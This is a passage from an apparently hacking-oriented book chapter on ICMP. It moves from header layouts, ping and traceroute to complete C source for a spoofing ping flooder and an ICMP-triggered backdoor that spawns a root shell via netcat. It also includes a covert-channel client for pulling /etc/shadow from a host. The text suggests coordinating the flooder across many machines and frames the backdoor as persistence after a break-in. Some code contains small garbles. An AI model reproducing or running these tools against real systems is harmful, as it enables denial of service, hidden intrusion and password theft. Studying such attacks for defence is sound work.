Chapter 13

Exploiting the ICMP protocol

The beginning of the Internet dates back to the 1960s. At that time there were many small networks similar to today's popular LANs (Local Area Networks). Over the course of time these networks grew rapidly. Every significant university or military base had its own network. In 1967 a scientific conference took place in the USA on the possibility to build one extensive computer network to link several major research institutions. At the conference, a group of people was given the job of developing the ARPANET network, the predecessor of the Internet. The protocols they developed are still used today: TCP/IP, ICMP, and UDP, which described the method of data flow in the network. From an initial four nodes in 1969, the network grew large very quickly, because numerous new universities and institutions joined ARPANET. When in 1980 hackers broke into the network servers, the military decided to remove most of its nodes from the network. The former military part is called DARPA and is not publicly accessible. What remained was the basis of the Internet we use today.

One of the problems in creating the Internet turned out to be interference in the data transfer link. The connections were slower and less reliable and packets were often lost on their way to the target. The computer sending them, however, didn't know that they had been lost or rejected. In order to obtain information about this situation the Internet Control Message Protocol, or ICMP, was then created. Apart from this application, others appeared that were more interesting from the point of view of security. However, we can use the ICMP protocol to perform a denial of service attack (which we will discuss later in this chapter) or to send information "silently" via a network. These are exactly the issues that will be discussed in this chapter.

The data are carried in packets on the Internet. Each packet contains an IP header. This contains information identifying the packet:

IP HEADER			
VERSION	HEADER LENGTH	SERVICE TYPE	TOTAL LENGTH
IDENTIFICATION	TAGS	FRAGMENT DISPLACEMENT	
TIME TO LIVE	PROTOCOL	HEADER CHECKSUM	
SENDER'S IP ADDRESS			
RECIPIENT'S IP ADDRESS			
PACKET OPTIONS		SUPPLEMENT	
DATA			

It is structured so that its operation would be as effective as possible. Therefore each of the fields mentioned above is very important for the packet and for the general operation of the Internet network:

a) VERSION - This field contains information regarding the version of the IP protocol used. At present, the IPv4 version is used. This means that the IP number of the target computer is composed of four elements, for example 127.0.0.1. Due to the limited number of possible addresses, it is slowly being replaced by IPv6, which is currently gaining ground in Asia.

b) HEADER LENGTH – This field has a value equal to the IP header length.

c) SERVICE TYPE – Tells about it how the datagram (i.e., packet) has to be handled. Among other things, it contains information about the packet priority.

d) TOTAL LENGTH – Has a value equal to the total length of the packet including data.

e) IDENTIFICATION – Allows the packet to be reassembled if it was fragmented (for example, divided into several parts if it is too big).

f) TAGS – This field can contain two tags: DF (the packet is fragmented) and MF (the packet is the last fragment).

g) FRAGMENT DISPLACEMENT – Informs how far from the beginning of the packet a given fragment is placed.

h) TIME TO LIVE – TTL tells us how many jumps a packet can make on its way to the target. Each router has the task of decreasing this field by one and sending the packet further. When TTL reaches zero, the packet must be rejected. If not for this field, packets could circle in the network endlessly.

i) PROTOCOL – The value of this field determines which protocol a given packet belongs to. For example this field can assume the value 1, which means that this is an ICMP packet.

j) HEADER CHECKSUM – Each computer sending a packet generates a checksum for the packet. If a packet is changed on the way, which can of course occur, the checksum calculated by the recipient will be different. In this situation it is necessary to reject the packet.

k) SENDER'S IP ADDRESS – IP address of the computer from which the packet was sent.

k) RECIPIENT'S IP ADDRESS – IP address of the computer to which the packet was sent.

m) PACKET OPTIONS – Can be available or not. These contain additional information allowing the speed of the data transmission to be increased, for instance.

n) SUPPLEMENT – The header size must be a multiple of 32 bits. If it isn't, zero bits are added to obtain the target size.

o) DATA – The rest of the packet, for example the ICMP header.

If the packet's PROTOCOL field value is equal to to 1 (ICMP equivalent), the ICMP part immediately follows the IP header. The ICMP packet header is as follows:

ICMP HEADER		
TYPE	CODE	CHECKSUM
DATA		

Its fields have the following meaning:

a) TYPE – That is the type of the message sent. This field is different for packets rejected due to network overload or the TTL value being equal to zero.

b) CODE – This field is used by certain messages.

c) CHECKSUM – This is generated in the same way as the IP header, but based on the ICMP header.

d) DATA – This field contains data carried by the packet.

If the router through which a packet travels is not able to deliver it, determine its further route, or if it detects a situation in which its delivery will be impossible (network overload), it has to return the ICMP packet to the sender in order to inform it about the incident. Depending on the ICMP packet type the sender can attempt to send the packet again or abort sending. We distinguish between the following main ICMP packet types:

a) Destination unreachable – This message is sent when the router doesn't know how to handle a packet, because it doesn't know the route to the recipient.

b) Time exceeded – Sent by the router rejecting a packet with the TTL value equal to zero.

c) Source quench – This serves to inform the sender of the packet that packets are being lost along the way. It should be sent once per several dozen lost packets.

d) Parameter problem – This is sent when a router is not able to interpret any of the IP half headers.

e) Redirect – This message is sent when the router has to send a specific packet through another router that has already received it earlier.

f) Echo request and echo reply – Messages generated directly by the user, used to examine the link quality.

In order not to burden the network a very important rule was introduced that forbids answering ICMP packets if an error is caused by another ICMP packet. Without this, streams of unnecessary information about errors related to other messages would circulate throughout the network.

The ICMP protocol is used by many tools in everyday use. Average users are often not aware of how frequently it is used. However, we think that this introduction should be sufficient to understand its essence and significance.

The ping tool

We must have used ping many times, usually when our internet provider was trying to reassure us by saying "your Internet connection will be restored in just a moment." As the reader probably already knows, this tool is used to examine the connection between two computers. It sends a packet and waits for an answer. If the answer doesn't arrive, it means that there is congestion on the link, causing interference. The packet sent by ping is the ICMP echo request packet. After sending this packet the computer waits for an answer to the echo reply packet. Apart from information about whether the communication between the computers is possible or not, ping also provides data about the length of the packet sent and the number of lost and transmitted packets. We will now attempt to test our connection to the service www.xxyyzz.com:

```
bash-2.05b# ping www.xxyyzz.com
PING www.xxyyzz.com (1.1.1.1) 56(84) bytes of data.
64 bytes from www.xxyyzz.com (1.1.1.1): icmp_seq=1 ttl=58 time=36.9 ms
64 bytes from www.xxyyzz.com (1.1.1.1): icmp_seq=2 ttl=58 time=57.2 ms

--- www.xxyyzz.com ping statistics ---
3 packets transmitted, 2 received, 33% packet loss, time 2002ms
rtt min/avg/max/mdev = 36.946/47.110/57.274/10.164 ms
```

At the beginning the ping program had to determine the IP address for the www.xxyyzz.com (1.1.1.1) domain. Then it sent ICMP packets with data of 54 bytes long to this number. The whole packet size, however, was 84 bytes, which is stated in the line:

```
PING www.xxyyzz.com (1.1.1.1) 56(84) bytes of data.
```

The remaining 28 bytes are the size of the IP header and ICMP. Then the program waited for the return packets. After receiving them it printed information about another packet number (icmp_seq), the TTL field value (ttl=58) and the time in which the answer was received (time=XX ms). When we stopped the ping action by sending a system signal to it through the key combination CTRL+C, at the end the program printed statistics of the research being performed. As we can see, one of the packets has been lost, because no echo reply was obtained.

Ping contains many options thanks to which we can more precisely check the capacity of the connection. All of them are described in detail in the system manual:

```
bash-2.05b# man ping
```

The most common arguments are -s, -c, and -t. After -s comes the number saying how big the data sent in the packet have to be. The -c option refers to the number of packets sent. If we don't enter this, ping will continue to send ICMP messages until we stop it. The -t option determines the TTL field value in the IP header.

We will now try to send 1,024 bytes to www.xxyyzz.com:

```
bash-2.05b# ping www.xxyyzz.com -s 1024 -c 3 -t 10
PING www.xxyyzz.com (1.1.1.1) 1024(1052) bytes of data.
1032 bytes from www.xxyyzz.com (1.1.1.1): icmp_seq=1 ttl=58 time=99.3 ms
1032 bytes from www.xxyyzz.com (1.1.1.1): icmp_seq=2 ttl=58 time=56.4 ms
1032 bytes from www.xxyyzz.com (1.1.1.1): icmp_seq=3 ttl=58 time=59.7 ms

--- www.xxyyzz.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
rtt min/avg/max/mdev = 56.404/71.851/99.386/19.518 ms
```

As we can see, the program terminated its action by itself after sending three packets. The reply time was slightly longer than before, due to a larger amount of data being sent. We will set the TTL value to 10. The packet arrived at the target, which means that it performed fewer then ten jumps along the way. We will now have a look what would happen if we set it to 5.

```
bash-2.05b# ping www.xxyyzz.com -s 1024 -c 3 -t 5
PING www.xxyyzz.com (1.1.1.1) 1024(1052) bytes of data.
From 1.1.2.1 icmp_seq=1 Time to live exceeded
From 1.1.2.1 icmp_seq=2 Time to live exceeded
From 1.1.2.1 icmp_seq=3 Time to live exceeded

--- www.xxyyzz.com ping statistics ---
3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 2001ms
```

As we can see, our packets didn't arrive at the target. The fifth router along the packet's way rejected it, because the value of its TTL field was 0. The IP of this router is 1.1.2.1, which can be seen in our example. This protocol action uses another program, traceroute, which will be described in the next section of this chapter.

If we send packets with data size smaller than eight bytes, we won't obtain information on the travel time of the packet, because there will be nowhere to store it. We should remember that services like ping shouldn't be abused, because this can cause the link capacity to be reduced, which is the opposite effect from its purpose.

Determining the packet route using the traceroute program

Using an application of the ICMP protocol, we are able to determine the exact route with which the packet is being sent. We start sending packets

starting with a TTL value equal to 1, increasing this value by one with every successive packet. In this way we will obtain "Time to live exceeded" return packets from every successive router on the packet's way. This process is implemented by the "traceroute" program. We will now try to determine the packet's route to the host www.google.com:

```
bash-2.05b# traceroute www.google.com
traceroute to www.google.com (72.14.204.99), 25 hops max, 40 byte packets
 1 ip-10-218-90-2.ec2.internal (10.218.90.2) 0.755 ms 0.693 ms 0.674 ms
 2 216.182.224.229 (216.182.224.229) 1.675 ms 1.659 ms 0.437 ms
 3 216.182.232.70 (216.182.232.70) 0.376 ms 0.459 ms 0.479 ms
 4 216.182.232.52 (216.182.232.52) 0.423 ms 0.521 ms 43.962 ms
 5 72.21.222.154 (72.21.222.154) 1.509 ms 45.547 ms 1.566 ms
 6 72.21.197.39 (72.21.197.39) 1.575 ms 1.503 ms 1.552 ms
 7 72.21.197.39 (72.21.197.39) 1.609 ms 53.489 ms 53.630 ms
 8 eqixva-google-gige.google.com (206.223.115.21) 53.348 ms 53.298 ms 3.614 ms
 9 66.249.94.54 (66.249.94.54) 4.776 ms 4.246 ms 3.403 ms
 10 iad04s01-in-f99.1e100.net (72.14.204.99) 3.647 ms 4.166 ms 3.616 ms
bash-2.05b#
```

As we can see, our packet must perform 6 hops to reach the destination. Traceroute also shows at which time the packets were reaching specific hosts (as we can see, it performs three tests). After the fourth router the program printed the symbol "*" at the beginning. This means that the packet sent as first has been lost on the way, rejected, or that that particular router didn't answer with an ICMP message.

Unfortunately, more often than not the ICMP packets are blocked, in the hope that this will increase network security. The truth is that this only causes many difficulties in attempting to analyze the traffic. Some routers don't signal that a TTL value is "overdue" or don't decrease it by one, which of course is not in accordance with Internet standards.

Exploiting ICMP in DoS attacks

There are many different kinds of attacks performed using the Internet. We can divide them into attacks to gain benefits and those whose only purpose is to annoy others. We count the DoS (Denial of Service) attacks among those that serve exclusively destructive purposes. These attacks lead to the immobilization of hardware or software. The harmfulness of this attack varies and depends on who is its victim. The attack can cause the server to stop

working, which would be very harmful for a big company; however, for a small local network it would only be another short break in access to the Internet. Most frequently a DoS attack consists of "flooding" a target host with a huge number of packets. Such action effectively slows the capacity of the victim's link or even cuts it off from the network entirely.

The ICMP protocol is not the best means to perform a DoS attack. TCP/IP is much better suited to this purpose. Using it we can open many connections to the machine under attack, enabling us to block it effectively. An attack of this kind (called "syn flooding") is, however, easily detectible. Actually, any IDS (Intrusion Detection System) or well-configured firewall will relay a message stating from where the attack was performed. The ICMP protocol, however, is frequently omitted by firewalls, because of which we can carry out an attack unnoticed. One of the DoS attacks that uses the ICMP protocol is ping flooding.

Ping flooding

As the name suggests, we use the ping tool, described in the previous part of this chapter, to perform this attack. Using it, we will now try to send the biggest possible number of packets in order to provoke a noticeable obstruction of the link. Ping contains interesting options that seem to be created especially for this purpose.

One of them is -i, which enables us to determine the frequency with which the packets are sent. If we are not root users we can send packets with a minimum frequency of 0.2 second. We will now test the operation of this option. This time we will perform the tests on a local computer, to avoid irritating the webmaster of www.onet.pl:

```
bash-2.05b$ ping localhost -i 0.2
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.059 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.060 ms
...
...
64 bytes from localhost (127.0.0.1): icmp_seq=15 ttl=64 time=0.057 ms
```

As we can see the packets are sent more quickly than before. We will now try to send packets to another remote computer. It is doubtful that the user of the tested system could observe any difference in the quality of the connection. There are simply too few packets.

Unfortunately this is where the interesting options of the ping program available to an ordinary user end. If we want to discover its full power we have to have root privileges. As an administrator we can use the -f option, which will allow "flood ping," the massive sending of ICMP echo request messages. Let's try to use this option and check the time it takes to send 10,000 packets.

```
bash-2.05b# ping -f -c 10000 localhost
PING localhost (127.0.0.1) 56(84) bytes of data.

--- localhost ping statistics ---
10000 packets transmitted, 10000 received, 0% packet loss, time 1013ms
rtt min/avg/max/mdev = 0.013/0.014/0.087/0.005 ms, ipg/ewma 0.101/0.014 ms
```

The duration of the program is 1,000 ms, or one second. Impressive, isn't it? It is only possible to obtain a result like this for a local host. Unfortunately, not each version of the ping program has an option that allows sending packets without waiting for an answer. Therefore to achieve the best results it's better to write our own program especially for this task.

Creating own ping flooder

In order to send ICMP packets using our own program we will have to create a SOCK_RAW socket. This is a "raw" socket, and using it we can send every type of packets. We create it in the program in the following way:

```
sock=socket(PF_INET,SOCK_RAW,255)
```

Now data written to the socket will simply be sent further without adding the header of the TCP/IP protocol to them. Because we want our packets to be ICMP, the buffer we will be sending to the socket will contain the IP and ICMP header. Structures corresponding to these headers are located in the header files netinet/ip.h and netinet/ip_icmp.h.

The structure of the IP header is as follows:

```
struct iphdr
{
              /* IP header length */
              unsigned int ihl:4;

              /* IP protocol version */
              unsigned int version:4;
              u_int8_t tos;                 // Service type
              u_int16_t tot_len;            // Total packet length
              u_int16_t id;                 // ID header field
              u_int16_t frag_off;           // Packet displacement
              u_int8_t ttl;                 // Time To Live, the packet lifetime
              u_int8_t protocol;            // Protocol
              u_int16_t check;              // Checksum
              u_int32_t saddr;              // Sender IP address
              u_int32_t daddr;              // Recipient IP address
};
```

We will have to fill in all its fields in order to send the packet into the network. We will set the "protocol" field to 1, which means that the packet is of the ICMP type. We set the IP address of the recipient to that of the host that we will attack. By sending it the ICMP echo request packet, it will answer with echo reply to the host given in the IP address of the sender. Because of this it is possible to attack two servers at the same time. To one of them we will send packets with the wrong IP address of the sender (e.g., the IP address of another computer that we also want to attack). We can also build up the attack power, giving the same IP address to the sender and the recipient. In such a situation the computer under attack will reply to itself on the packets we sent.

We will place a structure corresponding to the ICMP header in the buffer right after the filled in IP header:

```
struct icmphdr
{
      u_int8_t type;              // Type of ICMP message
      u_int8_t code;              // Packet code
      u_int16_t checksum;         // Datagram checksum

      /* Parts of the packet below don't have to appear */
      union
      {
            struct
            {
                  u_int16_t   id;
                  u_int16_t   sequence;
```

```
} echo;
            u_int32_t     gateway;

            struct
            {
                  u_int16_t   __unused;
                  u_int16_t   mtu;
            } frag;
      } un;
};
```

We will set the message type to the defined value ICMP_ECHO (8). The packet code will be equal to 0, because it is unnecessary in this case. We will generate the checksum in exactly the same way as for the IP header. We will use ip_sum() for this, a ready-made function that is frequently used in internet programs. The program code including comments for the mass sending of ICMP messages is shown below (**/CD/Chapter13/Listings/flooder.c**):

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
/* File using which we can determine */
/* IP on basis of the domain */
#include <netdb.h>
/* Files with IP and ICMP structures */
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define SIZE 4096

/* Function generating IP and ICMP checksum */
unsigned short ip_sum (unsigned short *addr, int len)
{
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;
      while (nleft > 1)
      {
            sum += *w++;
            nleft -= 2;
      }

    if (nleft == 1)
      {
            *(u_char *) (&answer) = *(u_char *) w;
            sum += answer;
      }
```

```
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      answer = ~sum;
      return (answer);
}

int main(int argc, char* argv[])
{
      int sock; // Our socket
      struct iphdr *ip; // IP header
      struct icmphdr *icmp; // ICMP header
      struct sockaddr_in du; // Host under attack
      /* Structure necessary while determining host's IP based on domain */
      struct hostent *h;
      int len; // Variable useful for network functions
      char buf[SIZE]; // Buffer to send into network

      /* We reset the structures to avoid errors */
      memset(&du, 0, sizeof(du));
      memset(buf, 0, sizeof(buf));

      /* We determine IP based on host name */
      /* which is the first program argument */
      if((h=gethostbyname(argv[1]))==NULL)
      {
            perror("gethostbyname()");
            exit(1);
      }

      /* Host under attack */
      du.sin_family=AF_INET;
      du.sin_addr=*((struct in_addr*)h->h_addr);
      memset(&(du.sin_zero),'\0',8);

      /* IP header at the beginning of the buffer */
      ip=(struct iphdr*)buf;
      /* ICMP header right after the IP header */
      icmp=(struct icmphdr*)(buf+sizeof(struct iphdr));

      /* We assign values to the appropriate fields */
      ip->version=4;
      ip->ihl=sizeof(struct iphdr)/4;
      ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr));
      ip->id=htons(getpid() & 255);
      ip->ttl=64;
      ip->protocol=IPPROTO_ICMP;

      /* We transfer the sender's IP address as the second argument*/
      ip->saddr=inet_addr(argv[2]);

      /* IP of the attacked host */
      ip->daddr=du.sin_addr.s_addr;

      /* We define the message as ICMP echo request */
      icmp->type=ICMP_ECHO;
      icmp->code=0;
```

```
      /* We generate the ICMP checksum */
      icmp->checksum=0;
      icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr));


      /* We create an ICMP socket; if we don't succeed, we exit the program */
      if((sock=socket(PF_INET,SOCK_RAW,255))==-1)
      {
            perror("socket()");
            exit(1);
      }

      len=sizeof(struct icmphdr)+sizeof(struct iphdr);

      /* Endless loop sending the packets to the target */
      while(1)
      {
            /* sendto() function sends the buffer */
            if((sendto(sock,buf,len,0,(struct sockaddr*)&du,sizeof(du)))==-1)
            {
                  /* If we don't succeed we end the operation */
                  perror("sendto()");
                  exit(1);
            }
            /* We print a dot on the screen after each packet sent */
            putchar('.');
      }

      /* We close the socket */
      close(sock);
      /* And we exit the program */
      return 0;
}
```

We will now save the above program under the name flooder.c and compile it:

```
bash-2.05b# gcc -o flooder flooder.c
bash-2.05b#
```

As the first argument the program assumes the IP address of the computer that we want to flood with packets. The second argument is the IP address of the sender, from which they should be sent. We will try to test our own computer first.

Let's see what happens if we start the program from the level of an ordinary user:

```
bash-2.05b$ ./flooder 127.0.0.1 127.0.0.1
socket(): Operation not permitted
bash-2.05b$
```

As we can see, this operation hasn't succeeded because only the root user has the right to create the "row" sockets we mentioned. This prevents common users from being the perpetrators of these attacks. We will now log into the root account and try to start our program:

```
bash-2.05b# ./flooder 127.0.0.1 127.0.0.1
.....................................................................
```

To stop the program we press the key combination CTRL + C. As we can see, many dots have been printed on the screen in a fraction of a second, far more than we can count by looking. We probably noticed that the processor was very busy, as it was sending the packets with the highest possible speed. We have just taken advantage of our computer's and the internet link's full potential. We will now try to count the number of dots using a program. We redirect the standard output (the printed dots) to the file, switch off our script after about ten seconds, and then we count them using the "wc" program with the -c option (which counts the number of characters in the file).

```
bash-2.05b# ./flooder 127.0.0.1 127.0.0.1 > howmuch.txt
bash-2.05b# wc -c howmuch.txt
1179648 howmuch.txt
bash-2.05b#
```

It turns out that within 10 seconds we have sent over a million packets. This is an impressive result. What's more, we should remember that for each packet sent there is an echo reply. Therefore, in total our computer sent over two million packets!

These kinds of results can only be achieved by testing the local computer. As with ping, they will be much better than those we achieve with remote computers.

With a quick link available we shouldn't have any problems performing a test on a computer that, for example, uses a modem. It is a good idea to give the same IP address for both sender and recipient. As mentioned before, this will double the power of the test. If we want to really notice the result of our test on a high-speed link, we will have to start up our script on many computers using another ISP. A number of at least ten should be sufficient to scare many big internet portals. Attacks of this kind are of course illegal and they are definitely nothing to be proud of. However, there are situations in which it is good to know how to perform them, for example for the IDS system to respond to a hacker's attack it has detected.

Backdoor using ICMP

After cracking, a hacker has to make a very important decision – which type of backdoor to leave, so that it will be unnoticed for the longest possible period of time. One of the possibilities is to install the backdoor in the system kernel. This is, however, less and less effective due to the availability of increasingly effective detection tools. Another method is to choose a Trojan horse that uses the TCP/IP protocol to communicate with the hacker. However, in the majority of cases connections of this type are monitored by firewalls and IDS systems like the "netstat" program. We will now, using this tool, try to check which connection we are currently making:

```
bash-2.05b# netstat -t
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q      Local Address            Foreign Address       State
tcp        0      0      192.168.0:netinfo-local  test.net:ssh          ESTABLISHED
tcp        0      0      top.ant.:stone-design-1  www.google.com:http   ESTABLISHED
tcp        0      0      192.168.0:adobeserver    195.117.61.77:ssh     ESTABLISHED
bash-2.05b#
```

The -t option tells the program to display only TCP/IP sockets. As we can see, we have made three connections (status ESTABLISHED). If the hacker has left a backdoor based on TCP/IP and has not covered up its presence, the listening-in socket will be visible on the list (with the status LISTEN), and the administrator will be able to detect the invader without difficulty when he attempts to establish a connection. However, ICMP sockets are much more rarely checked by the administrator, and they are less suspicious because they

can be created by programs such as ping. We will now activate the ping program on one terminal and see what netstat, started up with the -aw parameter, displays on the second terminal:

```
bash-2.05b# netstat -aw
Active Internet connections (servers and established)
Proto    Recv-Q  Send-Q  Local Address    Foreign Address          State
raw      0       0       *:icmp           *:*                      7
bash-2.05b#
```

The -aw option causes the raw sockets to be displayed. We see one socket. We don't know what it is for and which computer is connected to it. It could just as easily be the ping program, traceroute, or a backdoor left by the hacker.

We thus know that a good solution would be to leave a Trojan horse using the ICMP protocol. It can perform various actions based on messages that it receives. Our program will start up a remote console in a situation when it receives two consecutive pings with the sizes differing by a specific number. First we create a raw socket using the socket() function, as in our previous program. Next, we receive packets until we will find two consecutive packets of the specific size we are looking for. When the sizes match we perform the function:

```
system("nc -lp 12345 -e /bin/sh");
```

This will cause the 12345 port awaiting the connection to open. After connecting, the nc program will transfer the action to the /bin/sh program, thus to the shell. Below is the code implementing these actions (**/CD/Chapter13/Listings/backdoor.c**):

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MAGIC 1337int main (int argc, char **argv)
{
      /* Socket and two numbers being the sizes of the successive packets */
      int sock, r1, r2;
      /* Buffer into which we will read the packets */
      char buff[65536];
```

```
      /* We are creating a raw socket */
      if((sock=socket (PF_INET, SOCK_RAW, IPPROTO_ICMP))<0)
      {
            /* In the event of failure we end the program */
            perror("socket()");
            exit(-1);
      }

      /* We enter the endless loop waiting for packets */
      while(1)
      {
            /* We are reading the packets into the buffer using recvfrom() function */
            r1=recvfrom(sock, buff, sizeof(buff), 0, NULL, 0);
            /* If the difference between sizes of successive packets corresponds ... */
            if((r1-r2)==MAGIC)
                  /* We perform our command */
                  system("nc -lp 12345 -e /bin/sh");
            /* We assign the size of the previous packet to the r2 variable */
            r2 = r1;
      }
      return 0;
}
```

After compiling we try to start up our backdoor:

```
bash-2.05b# gcc -o backdoor backdoor.c
bash-2.05b# ./backdoor&
[1] 3985
bash-2.05b#
```

We have started this in the background so it can continue to use the shell. We will now check to see that it created the raw socket:

```
bash-2.05b# netstat -aw
Active Internet connections (servers and established)
Proto    Recv-Q  Send-Q  Local Address    Foreign Address          State
raw      0       0       *:icmp           *:*                      7
bash-2.05b#
```

As we can see, it looks exactly the same as the socket created by ping. Therefore the administrator doesn't know at first glance what its real destination is. Next we send two pings differing by 1337 to the host on which we started the backdoor (localhost):

```
bash-2.05b# ping -c 1 -s 0 localhost
PING localhost (127.0.0.1) 0(28) bytes of data.
8 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
```

```
bash-2.05b# ping -c 1 -s 1337 localhost
PING localhost (127.0.0.1) 1337(1365) bytes of data.
1345 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.080 ms

--- localhost ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.080/0.080/0.080/0.000 ms
bash-2.05b#
```

Now the target command that opens port 12345 should be executed. Let's check if it happened by connecting to it with telnet:

```
bash-2.05b# telnet localhost 12345
Trying 127.0.0.1.12345...
Connected to localhost.
Escape character is '^]'.
uname -a;
Linux top 2.6.7 #1 Wed Jun 16 15:55:20 CEST 2010 i686 GNU/Linux
id;
uid=0(root) gid=0(root) grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

We succeeded. We have started the remote console using a backdoor that exploits ICMP. However, we should remember that our connection with the shell is seen by the netstat program in TCP/IP connections:

```
bash-2.05b# netstat -t
Active Internet connections (w/o servers)
Proto    Recv-Q   Send-Q   Local Address             Foreign Address       State
tcp      0        0        192.168.0:netinfo-local   test.net:ssh          ESTABLISHED
tcp      0        0        top.ant.:stone-design-1   www.google.com:http   ESTABLISHED
tcp      0        0        localhost:rap-listen      localhost:italk       TIME_WAIT
tcp      0        0        192.168.0:adobeserver     1.1.6.77:ssh          ESTABLISHED
```

We see that a new TCP/IP socket has been created that is waiting for a connection (TIME_WAIT). It is easily visible and might raise the administrator's suspicions. Our presence on the remote console should therefore be as short as possible. After switching off the socket, it is closed. If we want to open it once again, we have to send more pings with specific sizes.

Sending data using ICMP

TCP is a protocol created to transport data. It allows a connection to be established; it assures reciprocal communication between a client and a server. It is suitable for sending data over the network. Commonly known

protocols use it, such as HTTP (while browsing WWW pages) or FTP (file transfer). As we already know one part of the ICMP header is the DATA field. It is used, for example, to increase the capacity of the echo request packet when the network traffic is examined. These data are, most frequently, random bytes found in memory. Nothing can prevent us from sending, instead of random data in these packets, for example, the content of the /etc/shadow file, which contains the system passwords. Let's try to write our own server program to return any text file to us after sending the appropriate ICMP packet containing information on the file to be sent.

We should pause to think how the client program should work. The first thing it will do will be to create an appropriate ICMP packet. The server must, however, know that we are dealing with this specific packet. At the beginning we have to enter the established password, which will identify the packet. The name of the file to be sent is entered after the password. We will use the sprintf() function to place the data in the appropriate location:

```
sprintf(data, "%s %s", PASSWORD, file);
```

First we will define the PASSWORD as:

```
#define PASSWORD "password"
```

The second argument transferred to the program will be the file variable (the first will be the IP number of the server). After starting up our program with the parameters "127.0.0.1 /etc/shadow" the program will generate an ICMP packet directed to 127.0.0.1 with the data:

```
"password /etc/shadow"
```

Now let's go to our server. After receiving a packet of this kind, it should, in sequence:

a) Check to determine if the password is correct.
b) Send a packet informing about starting the transmission.
c) Send packets with the content of the file /etc/shadow.
d) Send a packet informing about ending the transmission.

Due to limitations related to the data size we cannot send all the data in one packet. We will therefore send the file in "packages" of 1024 bytes each. Before sending the target file we send back the packet with the content:

```
"password START"
```

The password will inform our client that it is time to start receiving data, because the next packets will carry the file content. After sending the whole file we send a packet that ends the data transmission:

```
"password END"
```

In this moment the client program stops receiving packets and ends the program operation. Below are the codes for the specific applications. After startup, the server (server.c) enters the endless loop waiting for packets. Whereas the client (client.c) sends an informing packet, prints the file on the screen, and ends the operation (**/CD/Chapter13/Listings/client.c**).

```
/* Client file client.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>
#define SIZE 4096
#define PASSWORD "password"
/* Function generating IP and ICMP checksum */
unsigned short ip_sum (unsigned short *addr, int len)
{
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      while (nleft > 1)
      {
            sum += *w++;
            nleft -= 2;
      }
      if (nleft == 1)
```

```
            {
            *(u_char *) (&answer) = *(u_char *) w;
            sum += answer;
      }
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      answer = ~sum;
      return (answer);
}

int main(int argc, char* argv[])
{
      int sock; // Our socket
      struct iphdr *ip; // IP Header
      struct icmphdr *icmp; // ICMP header
      struct sockaddr_in du; // Host under attack
      /* Structure necessary while determining host's IP based on domain */
      struct hostent *h;
      int len; // Variable useful for network functions
      char buf[SIZE]; // Buffer we will send into network
      char *data, *tmp;
      char *file = argv[2];
      int one = 1, ok = 0;
      /* We reset the structures to avoid errors */
      memset(&du, 0, sizeof(du));
      memset(buf, 0, sizeof(buf));

      /* We determine IP based on the host name */
      /* which is the first program argument */
      if((h=gethostbyname(argv[1]))==NULL)
      {
            perror("gethostbyname()");
            exit(1);
      }
      /* Host under attack */
      du.sin_family=AF_INET;
      du.sin_addr=*((struct in_addr*)h->h_addr);
      memset(&(du.sin_zero),'\0',8);

      ip=(struct iphdr*)buf;
      icmp=(struct icmphdr*)(buf+sizeof(struct iphdr));
      dane = (char*)(buf + sizeof(struct iphdr) + sizeof(struct icmphdr));

      sprintf(data, "%s %s", PASSWORD, file);

      ip->version=4;
      ip->ihl=sizeof(struct iphdr)/4;
      ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr) + strlen(data));
      ip->id=htons(getpid() & 255);
      ip->ttl=64;
      ip->protocol=IPPROTO_ICMP;
      ip->daddr=du.sin_addr.s_addr;

      icmp->type=ICMP_ECHO;
      icmp->code=0;
      icmp->checksum=0;
```

```
      icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr)+strlen(data));

      if((sock=socket(PF_INET,SOCK_RAW,IPPROTO_ICMP))==-1)
      {
            perror("socket()");
            exit(1);
      }

      setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&one, sizeof(one));

      len=sizeof(struct icmphdr)+sizeof(struct iphdr)+strlen(data);

      if((sendto(sock,buf,len,0,(struct sockaddr*)&du,sizeof(du)))==-1)
      {
            perror("sendto()");
            exit(1);
      }
      memset(buf, 0, sizeof(buf));

      while(1)
      {
            memset(buf, 0, sizeof(buf));
            recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr*)&du, &len);
            if(*data && icmp->type == ICMP_TIME_EXCEEDED)
            {
                  if(strncmp(data, PASSWORD, strlen(PASSWORD)))
                        continue;
                  tmp = data + strlen(PASSWORD) + 1;

                  if(strcmp(tmp, "START")==0)
                  {
                        ok = 1;
                        continue;
                  }

                         if(strcmp(tmp, "END")==0)
                  {
                        ok = 0;
                        break;
                  }

                  if(ok)
                        puts(tmp);

            }
      }

      close(sock);

      return 0;
}

/* End client.c */
```

A new detail in the code is the use of the ICMP packet data. We determine their location in the following way:

```
        data = (char*)(buf + sizeof(struct iphdr) + sizeof(struct icmphdr));
```

